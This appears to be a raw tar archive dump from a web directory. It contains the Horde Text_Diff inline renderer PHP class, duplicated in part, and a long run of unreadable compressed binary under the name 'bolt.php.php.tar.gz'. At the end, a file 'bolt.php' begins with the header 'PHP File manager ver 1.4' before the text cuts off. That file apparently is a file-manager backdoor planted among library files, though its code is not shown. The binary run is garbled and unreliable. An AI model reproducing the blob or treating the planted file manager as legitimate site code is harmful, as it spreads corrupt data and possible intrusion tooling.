                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        bolt.php.php.tar.gz                                                                                 0000644                 00000060651 15217301621 0010215 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Ys(v_5!9THq_DA$A 	?8{#?8¯~seUa"}ߵg	ԒU9^r=T[vy#HCq=U46+l^azgP0@$'҃p ߅V5NAM[/h=Ԙ ̂	073?JLFd K̿?H45ל(?5֦"H$ݡ'[uD37Z_cɩVVF(	!5^,UPix]G^}5C T*RCo|š	θG_QTӖn[p$|Cy#;~z=z|E7S__X"H>kDUޣ ?e-9 	wF̋CCYx	THP"<x&^d*-)k
AZYJ$K'Ԁy*Ғw (kѽq;HBc4ɲ8HVyNNDF{y4ÿUE~Q?;JѰD2^Յ}*o!7ť]+?9TU/CLx{4$ҫDSM`1ߝwhQXdQ4yMfD\i>Kp+[ʊ2swh|d2qp*3 罒t*N@#Ek7]&jҩf	m@g2IhY,_sj/zVxf/uM̌5Ѧʌ_V=-DqPl߇#p*l3J?bNw2x(xN"z(eV
\OBib1*$}48	?G4FD:%x۫mPl9@a[ID|Gķe	j#z?2^/ODAEVyFW%x-^i.Y为毗#Β\$UEF-K*d!t>x^>	q
Q8?x2.SxeʄQRK~'L	@ eΛ+
qo: 	dx:jn<-_jhAYheX @C8;N_G	qf1sd%WXYx@)JYP:?O=x'z
1NuhjNeCyL/K9z[rYJ[xũa-(|:sCҗGÉk@9ϣ&=śE(Qk
H
H>xCEyĻ,"C;*h||c<w7(lp{^FxXANwiSh{F5[_f0zĔExt9}N7skֲ V5oCԱ3'noPz
i,NBn? .T x]HI.| {v_@,s	;7ќE#~̡KPQgi AJ$.JDwJT`"GhBnWH :T,\YxN+2; u`.sܿ*z+͂K4[M2!Akv&[:eX/C#gMN9Xl,)D[KBY"t-Ќ0I))>ѐ٧X3OW9_$2W`GDJ8"6^U<h!	cZX^!WE*	KXL5:	ZS7NXB1*
QuY &v
M)!^z|[C4}8UidPh3IA
ڑӊRw#<(i,ى=M%] g(DxT9$On<uѼp[MZ-s_ʈAFw2[K'un2ss]*ladcd~2Ɋvyh:.efcW<ߘ79$Bʆ,>~:݃N%Y)1E":X|Gktr·Vdrk9U)S"T̠T:/h	*x1ih#cdFZiQ.éIA|D-p0YPB^"HQl#IBlNÿ10{@A/8Q["ƜEo3e=)qP9&qXl#u
h_4CzBl
N|I,p[DЦp76K6KnǂJ^vHyaT։DCHLΓ#&]A:$C^UC$)rHVT(b+TuK(&҉^6-{kkfR\=3ldxRb9Jc#*T	k!uE%I~/8\߾_/_wGMq]^%pHgЩAj|5%̱8@9=C^/`XO(^a	ݗd^_]NI!~";4Z@M^#Xd"_1{gIWf
xqᅥ?i6lWhW_t^[+cMNzBbc!	m*cRZ»EBՅiǍ>@w,65B!cIfD e#JyQ,/2sBkY|:Şqxڒ쳸S*36m-׵$
ZH,c+NhjT2F^2ɸ"]5H|D%brʿ2]dx$$c٦<a:8I1	)e_dQ"Fo 6~9-PQT*d9.!& o 6Y],hڀe]<÷L|1_e[Z\%tgT@Wa 
_i'eqRva(qڜA윌Xy|&&ބ/++V?	M"PTJˠ;JmH(EڢTYr#MxN48N?Q!D;xj&XM@	(-[Z)2l}4B.G@$dqGCǅ	Z{3vp8!Nk}A#M{6Pz1B 6kyMQ͡D(毤i[FKM}1"H;vi)tiBĝ!`G=$`"FAlRK15m~'zՔ͂,~ԥ
-iafҁ'xAc0?/ylD?pYD!AhnkN'VVgc`͎yŁ;e9[Kmz ]a;.WX_kur Qg*w`]%/Y`ywb;D]ƼԘ
feH(Jk"Gz2)AISHiIt}<eǭp#wOeJ"la>?1yy-8T8ۣ;֚># GWBll>ZGX:t:YAOi*$P
'*FDk.9æiH5JD(VE~lօsA4Pw@ށ10&Z|Pwv>
VbnGU!7i֭60?y4Mj%KEo#MOɤeC#3	J1Dv>t}IZdVB&Y:ű
WE%ltalj-}5Q nU#WI֠ D~Ц  46o`op~s_[2^^@}^!hIh@h"!Tѱ}Иcf9nDM	9'o&eҩ끪)fQ/2HP6{u%Ղ)1\!z#(yu;DϤ[w2}tJbEb9Ήt355<z15AC/8%)#:}p!2&g*8%jLѰn& |NC {,~BI4z	xXq]W)ʋq7t*כ98!֗t~&8`\x= Shsޢ|{R3K@;"&u`F&iOq	"RO\`6GIx5aI5`HkѦ,t3C Kv1k}Юiiͧb$@KWGt%B3?C&Œ1	RB?'^~WSccCk{cNc-|fIz+˄%aF9D"T5<J/KMH|鈚DiOgl(S=@jl<($5;6KסsV2M$Hv#8iHh4\ӡ݄+[fGUqş㛗91\9Fy9?E^y_D'	I'iĸ{=}&4;Ѡ]Yuunn+dZǝj `";eEk'ƛVI71~V:G.vt)H
:d<[^`CKy8#GkQ-j,כzLZի8+Lzxu!ºMw~FbhȩS8#ø`s,uot\_tÇkQE$!>GL@$vO8AT7ŭb`bsH|-ܓi"qZsÌ\7HdST@w0~f!$Asom4z:(uM/IB ?yr.b~c$G(&HőjRL3Ƞ065BNgrf:lQm,UKr	#<0LR[0LQ\*;~f,DG}t|$P5ZLҪtRvr;T$2lGd2#s3~H31Mb6{OX<,~b'sg0R[)n:&pkV~B@"R2!tO׿ڭk&SJ~}}08 z kg8eS[6Lrn7ׇAN>uW#έpVAtR^+b}dɉk)KQΓ(,\/N12-bN~|6'KC%W0|"^_HaJ 8	;@']āC:}ֈUBMj[^N+ʉ=z/"c[ӂ.R UBj~E=p?;'0-9k8#r#C|Rs#u(!\(NkvG73MzE"[fG,-%R*)ij8+9=bw"#dއtы")x[',^grkJlٵbfJvMWUԝR-WW33͞mi\aX
:;m-=E@aC>YbjKpȴ>TPf8T^HUڣ"\k^ x5y#H#4orå5 ʢ2m I'/5+#NBRexqk`rz>c9@:%Ph
A#=|CMH<IX88|K0K`f H,eA"{4Z]_r8]J;2^6Ra"ПJ=͵')z&rhC0JڹT+n)ZGFoq(dZAhCCVnzz)%-Bnl,VW名lZEyi;|H[!2A~pA)갵C<ϤjDpKUVV`t]
QRj?jS/"ucDv&,yr"2%,ZƣUKp'ڽi{YτfE 8_<*T``\;\y -h4Ċ)a*!vtFѳܑո
뉆ԛ|x>kDޖ=LÁ3'PJ\0?rThS6hDRh!PvX	s,r)e<Xw<j-l}+	OlL벱	#"TNKUyR<E鐘uP'٠\=̞wq6&B0ZXzJۙ62UKԜ+(;IjzjR}cO75zo5dr#nΥBp3(Iez;)j׳­]2q!thXOir4vrt{c}?TQ+T.?bNzݑ^tqP!sN]n+YSSB.Nެ,'!'OJKsF1l7XZ,O\`J&;<iO:tқ{ʮy?tthD.]{\+U߷ڛ<y6:Sd41hSOg{
|ٱl3Ad sF:n*hJѲ_-=YtSn{np˩}׳nH'7c{-cnWq88=#t-mSeidfF;S揓$$&4&[}f~V%[s6XgM!RbդA8?G
$0P81mt͡rlN9\лpaAf; EncZ z{KEdSF֚jU3WHibYI*6]	ExVmN v8иWϯjjdsZڪ\1ȥXiک/ E;l7 6EY-pc4uhrؓT6$ZʿGX6;J Q?QguI&֓m)7e/kHFô뜹CŢ冀M]|Uv_86{ՅCh%  :SQ@r'/,K^!	)CJp)9^TRq+аu-wNW׸$FkȼZȵ:Q"-z	; V\<>p(5ߚs@w_~oНL:Q-V9\)m[a?:A2].~fa	Jʲg UbkhyA!~f^&G>U@p!j2XeD+ x@<IWT9ILoC@GR_~o?;_	+Mi	/?}X7%	#@Q;a]RĞ-!'#nfıq~ǫ
Upto\3i:80KzcC*-Q(bxxK+@bP AUD\GO^l*XڨUuذ˂NI#	W5M3VA>+8v	&Ł	[xͤ#?=d1vsIɞJ}awm
o7=A9NM,"3 )/E	ؚ6LBY`&&4o\X%/x]8G͜l! ,oIT)v׻TNsfwxh7#k}̌ɅQقm>8h7b7&'glEh3uGgs{%f°^2y	zOAPic\%Q'oNb9a2k[͛nҟt}q$tk@?!]!J,L-FP_co5r,%[aM#b8&э:䐂p;bZ"^RsaqWs;.&	>2(.AXPB2B{dS8l.>ˌ7V'Kǒ-3c}?WkA3WMzwjȺu*ӭ[TjBcE[&z\'=X)531cK]yp\54JWN[YmQ[ȭӂouxǘY>|	Rn>&!|C߳tZXon洄y_,@
w:񻮰)RFn
4"3$s,0iglFf߀NȔfZ7KMiz3WpTS,X˝ZRNa|hAf_=?H8TC5XMUEu7~7;sLhK˦}cL=.A6|>`b]][2`	\4~ykU#ZKABcH|n#*S?&#joJ(2~Ųd2ceBZ.J$kͬ&O5!psXK:'떰8;gϖL~H_J粣z`gX%XE4Xh8nqP4&qb-ʭZmt_\bz2ZR3ٙ@zE=!'^P\`=Q?RsHˇjNn r6Uя&(.
a7;,n~￳%LKiF2LQ3 zr??b࿸;?g
7tP>yi#.hDK:^HW;ۊʷv[+6ЖPEIAxy;-f+=ouC8şP2Hpǈ2FZCj0ҋS\LQXd:ߩnI
|Y~EZx1k\Tc+s(4rvj*MT<xyBM8zBOcYʈɯ$\So_\_onK[ a#c_^rv]LCNaB[0'k[ݐtrp1;7V(v;=ÛM9+HО/(K͔W(;%Dm$O_-J0kw͘[îݸKLbs	W~5%-O,i##.~4HaXj^m|]=//q3O1g*b=Hm6ňXGÉH.fPmHw2HDcw+='rIo09?{?GG&6"*v#K~wmMy<=31rȧNi}mu`M@l/&XlRl.ŬECi="z('}p/={U`j`$.9-~\>K968eI`hR83Z>p2ESAaf_.g?d,	np
sk|	nЀm
q61VP:WH<&v%[|HrPhR3NTNBЦi6iX?fp=oVޔ'Hw\n
qa"ՙywrj(ȕh(J,q	.*\[j<<T&6FzZ|dwV!bJR¡S:Uzj٭RTSI*WʙT6oROeW8L20ퟷL1Nټ@7ZdT	.d˽`yʧT!%=VyX\'eV7E'TP|*?٦ҍE3^*-M?vb	\jO&O(!TCJ8UlQB\:W@b|ݬG 	ҁsysiW<J~UJWR$ߢ4Ʉ%pUQcՊfŸUv(5OdQpO99T,-5vUc<YOFcWza+[C8^uHeZy<H[Mu؀y8.Ǆbn?kV=[)>NaDN<ae#kvKnFn-M
Aha[oW='ONٓz^7tւ}ha*U+v)5N
B6<LXOe|Sy}^[%>dYL.dNTF񩕩Oә̢zxx}. 5BkȥFt+ra*ފpvf4KtHSV	 l2y^aF3G!hF=ٵepRLz	lMn}jg˝욛
r O6C}]qS*ue~\_': ZJFmML2r+jYm=ѶޜSV/7'F$OXYL2un$?V4yܗZϰ͊i`Z,gjݜow阐*zSh?czj-fN{,f3WW}L˳y\>}XPķlm^ԧqQ-IԐk۞VTsն?RcUN2ҦܡX̤dlFHzng6Z*=}HULfT?n+i7ORz1(NJ^jo+eQوt&+MXRf)MS˛NiZ~5:sS,JB;OlUJ묖z44he5*<<C'|av7jhje&ܣP	>%ecpV\.R?TJOTY!<;k"IEKikSBo~gܳ(
J5Viq##_3~![!nXZZK	(BtEyFz$%qi $yDn(d;n>Q9>;󰒪G;S[x(¬ݫ
R4C=NzĪ-~Y-`(qX+=⡧WeifUm%ׅΣnpKQZkn=ȑ.u:ˑ4e2&V"i}i4u\}Kk뵶ݼԛ$-]o=֦_I`mq?RGi35[բayXB|q,G.[fk3mZ+PR:GR>GA(rzKuB(j37"VlA9eוudC)KmUZI7"x:OXy~O{Ĭ?+#~E;f4톞,<Oa
|>Uо<.╍$z!-9RX=#M2t[}<,ŁZ;(@zVDNz.isZi}u_WHdV#,bOE݇i/pV<nrCߊ6R*Mٳ"ZEgh-[E)Fݜ6wHYX+xl\}/CBS#[{n7r-ӢZ]SZ}lmjh߭f$)0|ۨhb0Wj|>YWc!^ywXv#wOa8r,ZkxU~zW_V{Rd;q:({vhYy>~bպˈqW^~P#CO*U"	Jl?u9l$rj^G*P
rDvH-w|)W
N+:~=V~P&Xz/Z=DZ'fFPO7^%e#81C3mzlW&j}qHKn%z"\	V(ժ@b<(GƕRehsǃyh{z0GZS5bS-;VqiTS	tX{jZ4ZKae>sAmk(n@Ljfh=%Vw;]6R:*ƃ4!vg[
7w1{pT.3Mk,bz:ڊo=`x##MJ\Wn̓!@b,"Bv +X$XrmDs
msJĦϋU<FU9.kVI5(␋Ik^	 mJ<6Jxc._mFq%:`<k	A]ǂC)
[8jƝZ`	UfCb}'ð^6lȦ{ŭ@fO%	P9z<1?[g]o3:ĸr#UvY^IEwM0>QyrxF>]h#'ⵖ/>e68N_Eks
z]7,Sl4XFan" w4ANJbzJ>fRTR4}_V+l~xn=yjbUq>5Læ޷='8?~ґC_|Ju1"E?=nYzB:;juk<;q<&vM}~Rl(Zj{͊tWlzV4Bȥz*;pܜGܳzگm`iOSz_LBf<įO|d/d6[ǢM}i?N:عn%pL5(VQt7{"GJ-e)nirr*_^yA=O&kYg1fo
{GsQVPf׽\;ϭvROm׋Ыyvē^UIJVzUҫ8DJqaЩW/1nvPUL>]V\}&֞LiPPC?έKN=wœ_q*k`-D\<Vdu={9>ԴǮ'V+g`kv[lȉּ/2۴Į-O[ȟ?m!Bi-O[ȟ?m!Bsl!I9BBSmBAxb.<=4F]x6sQ
	ܶXy+4Ӿ{*vizO .	5դ9$4>ǳG3.RlȮlt~ m V|Mw&RlI](⓺,]S~w#<-aQIUr%jUzeӟnR`n'QQ+rE[HD#ʵ0֩mmPyfeBxc\ioR\*UOrPĐgR?3U~/#Y߭1ɵB5>ZO6WJdj;~74	>L|8'J!nǅj"=dbZ(Fw7K&	hg!^n^)Ȼ|DZWwRAَ7&\BBxJ!JO^Qu?8D=<p]&iS~Q6Ej?d!DExOj>M'nQOɤ,cnFYR{)}=rt=,!={T{;K6_GΊe'ZԦO`<6C]>zƞ#7!nr^(.X5_e=j(FI|~TS=ȽARPyTԠGUEge$zKZ"*=]ϖb4%{عx4t%>ngNz_.@_gfMTf~4E
n(}w[.
p
hz*n<֨e68j1uX(FpeS9<YFGc=F4PXG캾	)zI'`;0]V>
J`=S<Q}.BfmZ
êB}9\,U۫f.ZZ^mqG9nV"γr(C|X!ƍ>Qځվ=J$Uv^Chƅ
pQ#z+-N[_bLK)MLgl"	Vn%f?Dʍ4OGiM<Ze3yq-Er2;hvJu쌏n3H9*asfṑ>4Z`?
z:/$~38@P(p(5\]WfRWNXZiT2+WdY<ReH/erZznM1һ4Si g2ּ-?˧YҡRqtʟX6`
4{Pb/WzL?<.MK)P$2XIv/Rºou1`:8\u=jZKbiSWjtR}륃*+ַ)!:aTݩ6JLXL~$p:Tx^A]nG\ocArl$$o 7ĸlFnw7eNv;N'bUVҦ+(yO=8:Pa+|G!v/ѫ_]-
z%/>&o"tsq;,˟&7Z.$VDe)|Ԍ|~e#;:!D-y%टܸt}PʝAƲ ^=R~P@qkan}skk03B0 Z)(lÜK']-FC/b넛Ƨm?9b)((.P9o~`-Pʫ%G!V-I	&6yQ(%s~LlxE@6dAS%QG1h?k':&8=~ d^ݶHwv-ⅯI𤷢ʤ(iMz[ؙ_XQ߃=-?^p4x7bM+~hE[?0ހ/k0o0(m|P4 _1 1|Z	"  }-cD|=D<}.\ԯǑ䒵%L%ڶwDPC3%X[D 1P,c1)[0@Y8bW#'N1~?,@ |Qe({K`~6r,(DD,#>hY#(A,q gepkg<q"((:T%4kȈU_6.+HHt$[hjcۗ=PIK@p$cYf>U5\%B+zE^&SV?ƈOIv{J F֑rІiC`2IPerNqgڥ(x6Pq#0]}>8]w ]7?yޡJI  fMJ)iQ3t2d	_06P-2|	7a]8
!ƺ1_'Vĩ9;$-c!vl،~D\5GLF4AيŒ.d&Cghζ9Kvp&Y⨪Xƅc~J,ti~}qҹj+H7[,%cUl2w$8̋GaGA?ϫϗBO?ĥg[YR|&*"oZNco _WlhR_4KE9An	vDE'YHڝU#6d
K5/"ZJby:PξeĐ_ϟN1:Aymh8- g6)^%6 y9U]i$?Tk)[GȾcHQl&('XE@ )iA.DI?+#uDÿ)wiëp>d;zk:089줴E"JM:Nfȋ  Jiӓ3dH!	O}T"_trf$/N&H,'>[ @H-D\|9fEI;lI6_P?Vb)5Ldr'U.pۄ#.AXB9	McPz˛;b슗E8Í3~af4]ȣs|CJO[f"Of4U)&#u_i/||r,MnmS=s|RF?fg914(x:_/4W32g 3]'ۓߙ/oq$Xt37,kƁ(vľe?M3ԿO6H*LQ4el)\k{,_ O?/ə9f0"ވKaw\߰YkNI':)WI)ޭTWxqɭAN%#~2;;dlJ
si)7h^VEm
I|ѱ5qtC&oHƗl]O5ʜ1T9Nn "Fk!=9?Ӳ_bdKs̴+uc?~ްw1k,	3/K^:G E):1(ɍPIbbS嵂q6?)KDjD\Hq"'e LM0}uuD6(#`-nkAyէєa[C.amV 69uiQNv &`;U> ȑoMe~Kl/^z+namN?n9? Ǹ	T'~7d{&>	MDC:luÇ'.J
J:hi4fYKx8e,i/-5?]P^,^U] bbOA˽6lo'dNo&8j~o\;gYd.WXd˖ewV֝^ejCz8K#C"9v
|X'7)T+}II$@=MnM]<Oc hӋfnGtY]	^AQ"ؒ]Xv5Ni̚J'ΊMo>n=[%أz\}Y='LWZe47]9%,Lz\7!n4c|h|A?7Yo!L6WK߅44Bb'VCjE7ANnb.'_]v2$x⑭bý|V+xVyLV5tÍӦ{z]0Dc鐘iǁZT?mnSĆcm/ކgN݂iI	ՎiisTLqQ<Kiƫ8]h3e,#`?b7ɇC2
	KN0Uo %17lUɸ~NKC>V!TY\k_?f=i3-C*1ԯ_AA?Y	az_tzz[%-Y
EdIRS|M< z>u/BN>H8}9~]:Z/EcN[0'O{"X`ZC/<>8Egr,_ޠ*`qC! L$FR`&p8TG(pQ).PJVq}^7cW1"@&fRV6d#thdAң	O3QdzX9'\s47Nr-tY627N)ju q }'wg5[%
1SC: Cړ+X@	OjxzvK&V_Vv@I˨XcQOo7۬=.>'C5<8OSyb) 8Q,wfa߳9>LCJߛu gqauPh5%w|Li:C3OT#mQ.,50!U"N|C2dG3O&s8
)gQaIhcM
auzX;I_D;酐!mtC0pҋfߜ'lnr_lǫ7Mi)Ĳ֊']M(
H,5@a6J%/Ns)/KDh%j2{䋓P<^UW,KR:YDWЈ)V$#ir'|k<ʿ0+Pɍl&PJ\GObp|Nʺq/T9gkqLl,)+٫<އғi	~o׏1]}L	.q {|gv1.7a݋daC>ae`0CD"\}HA0W/'z(nPO~7MHհKy疫?-q05I$81a[<{*.c5
J,@?44ѽ*iwNrn7#VU^^l&f|mcyLZkH;6Gk~q Ui!_֣45YDZa cq>X>zs$jReىMP^Y^
v;X=<pp>%Zois=gio)z0.0һaPE;"r`j|D;s6t9q] yoE5bPΤAnG]JuC!IV6fH$%7n,\~+f0`n7dqI)khխ<X:E) ;Y^׎!q syfGk~	,V֤k	[]."Y*Fmr0$".'v>uJC;`z/[.pYno@q=|4LYfi`>j
>idL҇PA"lG%umptSIE7kʠ,%Ap+H
2#dsCT~TkFt{}n0TŅ$/W7CH4OxXuQ\L>ˀOG2~>3"D1HO!.3M@03C$$Bk4Kc=e>f"o΍pq\jJ0"F$UHbe<LQyAyh	Qu|N_
$EIjQÌ+'6BzRH
FZ@OhM{!
  ;E?D{fF	* ڍ
=@ǐE|C+z#x/ A5:Fq79ֿ"z"qJ:`K|1K~.}j(VXn[^ROmrp-DIʭ:_B*$㱀:5vQāvۆ|2a[ a?󧛛hLUf?#[L<%IRA3KPQJ}@Z"ȣ4Bimb/,⧯E
o77<|Z.f6on8d;{>f\(N8؂z#tg@wNfՅYTT~]~~wk-H:T! pOBq-;$η	kP#it[eiN=zK~|ɇS$6 |}qP^,%=.P:SJ.QM}Oj(k>ľvM"3#be.1Y8p9jϔ04YADНYr
Л59wձ,i
KTk^tpނӧ38PSB ^S6/ecj/
+ԯKu7f/!@zg tDS8su0HLwA|@<{gfFF#
v"x<S!dW-3b@3+A<L
C_g"i!FѦΉ\^UqEE화s0WG1d7\szX#Xǲc	䠊>֐"/K*dn}PÅ
?aC6[޺:r+8..RlHbȪ-QP	#ep>XQ:H~q(4#:|2'n.tiLa^vq1~ʩzVA
3<g仙kR	2]G,?D[ә" Gv33:6n}66pgyƠfu2oGt{3ϼX:ݺm;"<ep\nL'4s&rs"@++ot"HjATtqeDM{~inzyPDAy'^[dsǸsC KҞ>:[p\\ږbSv
,vLҪ-;_^@6&ZǗf2LaUw=}kݩ0Y.Lds'&xICyϟe:Zy[̹h^11	s4\	'߮zyXZַn]F3U|PFL=žkXҸ9}9/OnS^B` d\3zN9,ɿ- ƊMZ]+"E4r!m#c%--%qY~u[w=>w*;MA#ր'mYNy8p+WUnBg]NFm])\yƕG43.^y9T\8{3Ȭq2AHAn:`_уZt,ܖQ39wci6?<E	!-&F<ѯd9DUDݺ'IjP
{Mk)HF,g,ZfBg9+?0	Ε"*PqANxd~S׳)Ӎʐi(+
|&;V kRϨ9
HmdyTCuTvsxrʥ%It7GI`tD HowR |<';	n}ǽP)e./Tv30{6āK	&ax}m뱹 /y^5㺞r,QwfF`XCἭkڗxBt'j `,	n >a'($/>eC-o`CM(K,\q,z.)mĀp~׵9SO:)K3QG)Ǌ׻rywz]<.3.ST'a]mҐ`	%=\Bw?nr9},͟	Cm˝F	{1A}0Pɵsv7BoEfNY0EnBܿ MQFY[atb&(ʲb'/XH2a>3MA̸姄3Ʃ|Kq)0c9u$HԢ2Z=7-X<Ȅ{)HңEFkY ؀bIbMeWE_Hr\ھ	X	=텾;J}F$,K	NضQs=WP}6mynz
X8Ӟ!6(tU~@z1H7?hkFo't䟇G2wmL[h8wiޖ=JƸ@;KSn^MV}wE^]YeO4$YnCaůPrώ2ه2XIT:Խ?6YjC;T#F+/cNJqߐ8\h/];MmF0CPJǇgPV~E)u.?<A=MMZ:g6		M0dfu-WC?X9hxݑ"flX_
$ʟwdN-ZhFUk:f&ڂ?jn{cd[9:Ggoa87MK2oXOGwҴVv۸y*cT2@ZBq}Hi2tߣPݵ:7{22M%``Q -= IERUDChn+=$o.'ub\|!^z(zA 3FY:(IX G,]parAzB5i%Ffd>
`Cm0:ԲХ)eퟵ%9 MB@9d葪aES$c@I0օu[K.>XEUrbձ(/:3]^;CH*ҙN]qu}:S,vT8H7+_ֻ{̠oyf0,N.SI>.hd$E<'1g86Jg<'g-{&BòDY8b<i4ԃ&%[Fˈm9DW ic/
wJѨ\cCce4ϛIcUe'	ùZB5Mt3[AIcm8Al܎)E)jQg;X~<1`ڿo`o!*@3PDe`PP5^
FϰYH\njO9buR{ 	7. kAU1
EU 0.]`lpgNVB	{9n='[N_:2>:hα굾3x
ld)cg~$
VxSZ:|ҜbK^Y\<r\wh?cV❍ĠG?||YXw1DhqL7Gqv[| /xˉz;pZO~0_pj+5>xh`+j5].JwkMqIwL38&w c}7׷SAa6/e~#?ԸA⸞rD|?h$5bwvyt|i80~ث)nD9)㛜ԩT!,
]H77	W7Sl ~WwOtktq. ݝfD|mOIӊ߭e3A0.pBn[-	}>=??9) <                                                                                        inline.php                                                                                          0000644                 00000012630 15217301621 0006533 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                        bolt.php                                                                                            0000644                 00000232745 15217301621 0006230 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
